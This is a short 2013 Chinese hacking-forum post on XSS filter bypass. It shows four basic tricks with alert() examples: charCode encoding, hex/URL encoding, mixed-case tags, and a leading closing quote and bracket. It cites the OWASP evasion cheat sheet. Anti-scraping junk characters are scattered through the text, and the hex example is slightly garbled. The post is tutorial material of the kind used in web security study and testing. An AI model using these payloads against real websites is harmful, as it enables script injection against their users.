找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2160|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。
3 K- E% E* D( C( d7 Z1.转换为ASCII码9 z$ j- c+ i8 t$ a
例子:原脚本为<script>alert(‘I love F4ck’)</script >
' G& T3 ?7 f% [* b- ]! _通过转换,变成:
, ^; C! f; `! Z- x( M8 N<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
2 Z2 D( i* S" A; I6 s
# ~" N! c7 e$ E1 t8 x2.转换为HEX(十六进制)5 l; q! R  N8 R- i, {# ^5 V5 z% K
例子:原脚本为<script>alert(‘I love F4ck’)</script>4 T3 Z0 B0 _0 s2 T2 y2 ]1 x7 m
通过转换,变成:
! s; A2 |# i5 ^4 V; ~/ ?: m%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e; X+ j" Y5 H9 o/ F: z
! ]9 f6 I, |# s+ I# H
3.转换脚本的大小写
! M/ K" V& w( V# ]! ~4 O例子:原脚本为<script>alert(‘I love F4ck’)</script>
. ?7 U. _& t5 c* t8 C. b转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>& P& n2 u# \1 Y# |
5 I0 \' F9 T' x& |+ ]
4.增加闭合标记”>
$ F# Z0 I% b" j& f: a例子:原脚本为<script>alert(‘I love F4ck’)</script>
+ w7 d7 v5 L& b! @转换为:”><script>alert(‘I love F4ck’)</script>( e! u1 s! O$ V( D, @0 I
更详细绕过技术请参考此网页
% s4 b3 W9 V$ S' c) G" x2 q0 `https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
! ^0 o0 J6 g$ {2 B
0 y# \8 B) `8 c/ t转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表